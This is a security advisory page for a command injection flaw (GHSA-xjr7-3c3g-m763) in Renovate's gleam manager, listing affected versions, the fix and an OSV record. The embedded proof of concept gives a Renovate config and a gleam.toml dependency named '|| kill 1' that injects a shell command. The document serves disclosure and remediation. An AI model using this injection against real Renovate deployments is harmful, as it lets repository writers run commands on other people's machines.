GHSA-xjr7-3c3g-m763: Renovate Renovate Vulnerable To Arbitrary Command Vulnerability
MODERATEGHSA-xjr7-3c3g-m763 is a MODERATE (CVSS 6.7) renovate vulnerable to arbitrary command vulnerability (CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')) affecting Renovate libraries in the npm ecosystem. The issue involves renovate vulnerable to arbitrary command injection via gleam manager and malicious gleam.toml file. Remediation is available by upgrading affected packages to version 40.33.0.
GHSA-xjr7-3c3g-m763 at a Glance
Security Impact
CVSS: 6.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
How to Fix GHSA-xjr7-3c3g-m763
To remediate this vulnerability, upgrade all affected Renovate dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install renovate@40.33.0Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls renovateHow to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-xjr7-3c3g-m763, inspect your project dependencies using npm:
npm ls renovateAnalyze the terminal output to locate any version of Renovate in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 40.33.0), your application is affected.
Note: The npm ls renovate command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'), where the product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. In Renovate, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-xjr7-3c3g-m763 Affected Renovate Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
renovate
|
npm |
≥ 39.53.0
< 40.33.0
|
40.33.0
|
References
Frequently Asked Questions
What is GHSA-xjr7-3c3g-m763?
Which Renovate versions are affected?
What version fixes GHSA-xjr7-3c3g-m763?
Is renovate affected?
What is the CVSS score of GHSA-xjr7-3c3g-m763?
What CWE is associated with GHSA-xjr7-3c3g-m763?
How can I check npm dependencies for GHSA-xjr7-3c3g-m763?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xjr7-3c3g-m763",
"modified" : "2026-01-13T20:29:00Z",
"published" : "2026-01-13T20:29:00Z",
"aliases" : [ ],
"summary" : "Renovate vulnerable to arbitrary command injection via gleam manager and malicious gleam.toml file",
"details" : "### Summary\nThe user-provided string `depName` in the `gleam` manager is appended to the `gleam deps update` command without proper sanitization.\n\n### Details\nAdversaries can provide a maliciously crafted `gleam.toml` in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.\nAll values added to the `packagesToUpdate` variable in [lib/modules/manager/gleam/artifacts.ts](https://github.com/renovatebot/renovate/blob/e9cbd02865b1827f7e4269c05250a12ee2203a71/lib/modules/manager/gleam/artifacts.ts) are not being escaped using the `quote` function from the `shlex` package.\nThis lack of proper sanitization has been present in the product since version 39.53.0 (https://github.com/renovatebot/renovate/commit/d29698e0131231652970f02765312769975e4d38), released on December 6 of 2024.\n\n### PoC\n1. Create a git repo with the following content:\n\n`renovate.json5`:\n\n```json5\n{\n $schema: \"https://docs.renovatebot.com/renovate-schema.json\",\n customDatasources: {\n always: {\n defaultRegistryUrlTemplate: \"https://docs.renovatebot.com/search/search_index.json\",\n transformTemplates: ['{\"releases\":[{\"version\":\"99999.0.0\"}]}'],\n },\n },\n packageRules: [\n {\n // Target of the day\n matchManagers: [\"gleam\"],\n // Trick the manager in believing there's a new version\n overrideDatasource: \"custom.always\",\n },\n ],\n}\n\n```\n\n\n`gleam.toml`:\n\n```toml\nname = \"renovate-aci-2\"\nversion = \"0.0.1\"\n\n[dependencies]\n\"|| kill 1\" = \"0.1.0\"\n```\n\n\n`manifest.toml`:\n\n```toml\nnon-empty file\n```\n\n2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting \"Repository finished\", because the ACI vulnerability allowed for execution of `kill 1`, terminating the root process of the container.\n\n### Impact\nThis is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "renovate"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "39.53.0"
}, {
"fixed" : "40.33.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/renovatebot/renovate/security/advisories/GHSA-xjr7-3c3g-m763"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/renovatebot/renovate"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-77" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-13T20:29:00Z",
"nvd_published_at" : null
}
}